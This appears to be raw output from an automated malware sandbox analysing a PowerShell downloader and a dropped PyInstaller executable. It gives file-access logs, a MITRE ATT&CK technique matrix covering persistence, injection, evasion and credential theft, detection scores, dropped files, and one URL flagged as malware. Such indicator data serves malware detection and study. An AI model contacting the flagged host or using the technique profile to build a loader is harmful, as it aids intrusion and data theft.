Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer\md.cp313-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer\md__mypyc.cp313-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\certifi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\psutil VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\psutil VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\psutil\_psutil_windows.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtWidgets.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtGui.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qminimal.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qoffscreen.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qwindows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5 VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Code function: 9_2_00007FF61C4CD010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

9_2_00007FF61C4CD010

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Code function: 9_2_00007FF61C4E5C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

9_2_00007FF61C4E5C00

Stealing of Sensitive Information

Opens network shares

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File opened: \\Mac\shared\projects\loader\src\dropper\src\tmp\_main.py	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File opened: \\Mac\shared\projects\loader\src\dropper\src\tmp\_main.py
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File opened: \\Mac\shared\projects\loader\src\dropper\src\tmp\_main.py

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Archive Collected Data	22 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	141 Virtualization/Sandbox Evasion	LSASS Memory	2 System Time Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Software Packing	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	44 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
download.ps1	8%	ReversingLabs	Script-PowerShell.Trojan.Powdow
download.ps1	10%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5DBus.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Gui.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Network.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Qml.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5QmlModels.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Quick.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Svg.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5WebSockets.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Widgets.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\d3dcompiler_47.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\libEGL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\libGLESv2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\opengl32sw.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qgif.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qicns.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qico.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qjpeg.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qsvg.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qtga.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qtiff.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qwbmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qwebp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qminimal.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qoffscreen.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qwebgl.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qwindows.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtCore.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtGui.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtWidgets.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\sip.cp313-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\charset_normalizer\md.cp313-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\psutil\_psutil_windows.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\python313.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29362\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\MSVCP140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\MSVCP140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5DBus.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Gui.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Network.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://cacerts.digi	0%	Avira URL Cloud	safe
http://hkinuxb3bz.top/1.php?s=527	100%	Avira URL Cloud	malware
http://www.color.org)	0%	Avira URL Cloud	safe
http://.../back.j	0%	Avira URL Cloud	safe
http://www.aiim.org/pdfa/ns/id/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
nodejs.org	104.20.22.46	true	false		high

URLs from Memory and Binaries

